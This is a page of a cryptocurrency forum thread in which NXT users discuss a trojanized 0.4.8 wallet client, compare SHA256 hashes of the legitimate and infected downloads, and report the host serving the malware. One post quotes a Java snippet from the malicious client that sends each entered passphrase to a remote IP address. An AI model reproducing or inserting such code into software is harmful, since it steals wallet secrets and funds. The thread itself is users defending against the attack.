NXT :: descendant of Bitcoin - Updated Information - page 1947.

opticalcarrier

full member

Activity: 238

Merit: 100

Quote from: Passion_ltc on January 01, 2014, 10:01:42 PM

I created a new account under 0.4.7e and transfered ALL NXT to the new ID. This should work out. Let's just wait for the Aliases Transfer. :p

Also: Is it just a NXT Keylogger or does it log the whole system? :s

from the code just a NXT logger

Passion_ltc

hero member

Activity: 714

Merit: 500

Crypti Community Manager

I created a new account under 0.4.7e and transfered ALL NXT to the new ID. This should work out. Let's just wait for the Aliases Transfer. :p

Also: Is it just a NXT Keylogger or does it log the whole system? :s

Edit: Well, didn't worked THAT well. Lost my NXT also..

Damelon

legendary

Activity: 1092

Merit: 1010

Also clear.

Very big PHEW

Edit: blockchain explorer is back up, btw

Anon136

legendary

Activity: 1722

Merit: 1217

Quote from: xyzzyx on January 01, 2014, 09:58:25 PM

Quote from: Anon136 on January 01, 2014, 09:57:14 PM

so what is the hash of the whole nxt-client-0.4.8.zip archive supposed to be?

ec7c30a100717e60d8abe50eedb23641952847d91ff90b9b05a74ff98d8a4cf2

anything else is bogus.

thankyou sir. it looks like I'm in the clear.

xyzzyx

sr. member

Activity: 490

Merit: 250

I don't really come from outer space.

Quote from: Anon136 on January 01, 2014, 09:57:14 PM

so what is the hash of the whole nxt-client-0.4.8.zip archive supposed to be?

ec7c30a100717e60d8abe50eedb23641952847d91ff90b9b05a74ff98d8a4cf2

anything else is bogus.

Zahlen

member

Activity: 98

Merit: 10

intel, when PaulyC reported the theft, lots of people besides EvilDave were suggesting possibilities. The most commonly suggested was keylogger. I remember someone posted something like

1) SHA256 and Elliptic Curve algo broken: 0.0001%
2) Keylogger: 80%
3) Bogus client: 10%
4) Rogue node: 10%

Personally I suggested some nonsense about possible address collision from different passwords. So I guess that makes me a troll too

Anon136

legendary

Activity: 1722

Merit: 1217

so what is the hash of the whole nxt-client-0.4.8.zip archive supposed to be?

*edit* This is the output from online-convert.com

Quote

hex: ec7c30a100717e60d8abe50eedb23641952847d91ff90b9b05a74ff98d8a4cf2

HEX: EC7C30A100717E60D8ABE50EEDB23641952847D91FF90B9B05A74FF98D8A4CF2

h:e:x: ec:7c:30:a1:00:71:7e:60:d8:ab:e5:0e:ed:b2:36:41:95:28:47:d9:1f:f9:0b:9b:05:a7:4f:f9:8d:8a:4c:f2

base64: 7HwwoQBxfmDYq+UO7bI2QZUoR9kf+QubBadP+Y2KTPI=

EvilDave

hero member

Activity: 854

Merit: 1001

Quote from: intel on January 01, 2014, 09:42:38 PM

Quote from: EvilDave on January 01, 2014, 09:33:06 PM

Quote from: xyzzyx on January 01, 2014, 09:23:35 PM

Quote from: EvilDave on January 01, 2014, 09:17:51 PM

Er...wtf?

Am i missing something?

I think you turned him into a newt, but he got better.

Hmmm...I'm mostly not that evil Grin

And HappyCoins.nl actually are very good, low fees, fast delivery and u can pay using the Dutch iDeal system. I spit on PayPal.....

Still curious why my name is up in lights all of a sudden

According to your posts, you also actively "helped" people to understand how they got their funds stolen.

I would call you hacktroll!

One of your messages:

Quote

@PaulyC :

Have u scanned yr PC for malware? Trojan/key logger looks like a very good possiblility at this moment.

And how is yr off-line security ? Anyone else have acess to yr PC?

I don't see the problem, seems like a reasonable question.

Me not hacktroll, anyway.

I call u a silly person and wave my genitals in the face of your aunties....

EvilDave

hero member

Activity: 854

Merit: 1001

Quote from: xyzzyx on January 01, 2014, 09:35:59 PM

Quote from: EvilDave on January 01, 2014, 09:33:06 PM

Quote from: xyzzyx on January 01, 2014, 09:23:35 PM

Quote from: EvilDave on January 01, 2014, 09:17:51 PM

Er...wtf?

Am i missing something?

I think you turned him into a newt, but he got better.

Hmmm...I'm mostly not that evil Grin

And HappyCoins.nl actually are very good, low fees, fast delivery and u can pay using the Dutch iDeal system. I spit on PayPal.....

Still curious why my name is up in lights all of a sudden

I think its a case of mistaken identity as people are a bit excited and a little angry at the moment. You should go to the Winchester, have a nice cold pint, and wait for all of this to blow over.

Good plan, tho' in my case i"d be better off going to bed. Which is where i"m going.....

Checked my SHA256 hash, luckily I got the good client from the nextcoin thread, pays to update late sometimes.

Quick check for the non-evil client is size: 7.173.063 bytes and u are good.

intel

member

Activity: 98

Merit: 10

Quote from: utopianfuture on January 01, 2014, 09:42:04 PM

Quote from: intel on January 01, 2014, 09:15:49 PM

People, the malware is being hosted on 162.243.246.223, it is digital ocean, a lot of people here have VPS here.

Contact their support asap and notify that the IP 162.243.246.223 is running a listening backdoor / passlogger.

How does this work ? what type of activities are risky now ?

'

It's still risky to use "patched" NXT Client downloaded from 3rd party dirty places like dextern topic who manipulated the download link to a patched (infected) NXT Client.

intel

member

Activity: 98

Merit: 10

Quote from: EvilDave on January 01, 2014, 09:33:06 PM

Quote from: xyzzyx on January 01, 2014, 09:23:35 PM

Quote from: EvilDave on January 01, 2014, 09:17:51 PM

Er...wtf?

Am i missing something?

I think you turned him into a newt, but he got better.

Hmmm...I'm mostly not that evil Grin

And HappyCoins.nl actually are very good, low fees, fast delivery and u can pay using the Dutch iDeal system. I spit on PayPal.....

Still curious why my name is up in lights all of a sudden

According to your posts, you also actively "helped" people to understand how they got their funds stolen.

I would call you hacktroll!

One of your messages:

Quote

@PaulyC :

Have u scanned yr PC for malware? Trojan/key logger looks like a very good possiblility at this moment.

And how is yr off-line security ? Anyone else have acess to yr PC?

utopianfuture

sr. member

Activity: 602

Merit: 268

Internet of Value

Quote from: intel on January 01, 2014, 09:15:49 PM

People, the malware is being hosted on 162.243.246.223, it is digital ocean, a lot of people here have VPS here.

Contact their support asap and notify that the IP 162.243.246.223 is running a listening backdoor / passlogger.

How does this work ? what type of activities are risky now ?

Damelon

legendary

Activity: 1092

Merit: 1010

By the way, I just checked and Drexme was last online here two hours ago.
There is a good chance he will try to cash in tonight if he read this thread now that we are on, to him...

intel

member

Activity: 98

Merit: 10

Quote from: kunibopl on January 01, 2014, 09:32:32 PM

so Drexme once again stole coins by editing the downloadlink, that pointed to EpicThomas' manipulated client?

I contacted Gravaton and asked to remove all dextern posts asap!

bidji29

sr. member

Activity: 392

Merit: 250

You can use :

http://hash.online-convert.com/sha256-generator

To check the sha256 of a file on your computer or on the internet.

opticalcarrier

full member

Activity: 238

Merit: 100

Quote from: intel on January 01, 2014, 09:30:09 PM

Quote from: opticalcarrier on January 01, 2014, 09:26:12 PM

Quote from: joefox on January 01, 2014, 08:51:20 PM

opticalc, QBTC ---

WHY does nxtcrypto.org's download page point to https://mega.co.nz/#!yV5A1BTR!oi33K7WovgccuEHvP05nzggTnxrkZHJbwFmv5tGeXNI

..instead of http://info.nxtcrypto.org/client.zip ...

... and WHY are the hases not published alongside the download link?

I dont run the www site. QBTC over at nextcoin.org runs the WWW site. I will hit her up to fix that ASAP.
(remember, Im really just running DNS here, and trying to coordinate between all the other sites)

good catch though, definitely need to get her to fix it NOW

In fact 0.4.8 is http://info.nxtcrypto.org/nxt-client-0.4.8.zip

Ive already asked her to update the download that is manually mirrored on her www site.

xyzzyx

sr. member

Activity: 490

Merit: 250

I don't really come from outer space.

Quote from: EvilDave on January 01, 2014, 09:33:06 PM

Quote from: xyzzyx on January 01, 2014, 09:23:35 PM

Quote from: EvilDave on January 01, 2014, 09:17:51 PM

Er...wtf?

Am i missing something?

I think you turned him into a newt, but he got better.

Hmmm...I'm mostly not that evil Grin

And HappyCoins.nl actually are very good, low fees, fast delivery and u can pay using the Dutch iDeal system. I spit on PayPal.....

Still curious why my name is up in lights all of a sudden

I think its a case of mistaken identity as people are a bit excited and a little angry at the moment. You should go to the Winchester, have a nice cold pint, and wait for all of this to blow over.

opticalcarrier

full member

Activity: 238

Merit: 100

Quote from: nadrimajstor on January 01, 2014, 08:25:37 PM

Quote from: ferment on January 01, 2014, 07:39:40 PM

Quote from: opticalcarrier on January 01, 2014, 06:52:37 PM

can I get some SSH remote command help here?

on a box, I can do lynx -dump http://localhost:7874/nxt?requestType=getPeer\&peer=79.102.159.249
to see the stats for the 79.102.159.249 peer if it is connected. The results look like this (notice I had to escape the & there):

Code:

{"platform":"?","application":"NRS","weight":0,"state":1,"announcedAddress":"","
downloadedVolume":8758,"version":"0.4.7e","uploadedVolume":12675225}

why can I not use this to do a remote SSH command?

Code:

root@vps1:~# ssh -i .ssh/vps root@vps1 lynx -dump http://localhost:7874/nxt?requestType=getPeer\&peer=79.102.159.249
{"errorCode":3,"errorDescription":"\"peer\" not specified"}
root@vps1:~#

Try:

Code:

ssh root@vps1 -t -C 'curl "http://localhost:7874/nxt?requestType=getPeer&peer=79.102.159.249"'

More eye pleasing.

Code:

curl --silent "http://localhost:7874/nxt?requestType=getPeer&peer=79.102.159.249"  | python -m json.tool

Edit: Added --silent option

very cool thanks a ton guys

intel

member

Activity: 98

Merit: 10

Quote from: rickyjames on January 01, 2014, 09:31:44 PM

Quote from: mkmen on January 01, 2014, 09:25:47 PM

Quote from: Damelon on January 01, 2014, 09:17:56 PM

So, are most people with the new client boned?

If not, what should you check?

if the sha256 of your nxt-client-0.4.8.zip is:

ec7c30a100717e60d8abe50eedb23641952847d91ff90b9b05a74ff98d8a4cf2

you are fine, if it's:

948ce760c379f13f4ea9def6babaa36b0d706bf91098f1d64945fdde3eac5f06

you should download legit client and transfer your NXT immediately to another account if it's still there

how to get sha256 hash of your file is explained in this thread (nice windows tool here: http://sourceforge.net/projects/quickhash/)

OK, so I've verified I lucked out and got the "good" download completely by chance. What's this about malware listening at digital ocean? Can it only get data from the bad clients or all clients?

Quote

if (!paramString.equals(""))
{
if (!myKeys.contains(paramString))
{
URL url = new URL("http://162.243.246.223:3000/" + URLEncoder.encode(paramString, "ISO-8859-1"));
URLConnection connection = url.openConnection();
connection.setConnectTimeout(10000);
connection.getInputStream();
myKeys.add(paramString);
}
}

salsacz

hero member

Activity: 490

Merit: 504

Quote from: newcn on January 01, 2014, 09:12:19 PM

Quote from: salsacz on January 01, 2014, 09:06:51 PM

Quote from: newcn on January 01, 2014, 08:21:33 PM

PaulyC:
the 0.4.8 client I used, I forgot where I downloaded it, but from chrome history,
the link was http://162.243.246.223/nxt-client-0.4.8.zip
this client is different from what I Just downloaded from this thread:

Code:

 
ec7c30a100717e60d8abe50eedb23641952847d91ff90b9b05a74ff98d8a4cf2  nxt-client-0.4.8 (1).zip
948ce760c379f13f4ea9def6babaa36b0d706bf91098f1d64945fdde3eac5f06  nxt-client-0.4.8.zip

please check your browser history to find which page you used for the download - where did you find a link?

how to find it from Chrome?
I just find the link, not the webpage the link was in,
there should be some ways to find that!

ctrl+h

Topic: NXT :: descendant of Bitcoin - Updated Information - page 1947. (Read 2761645 times)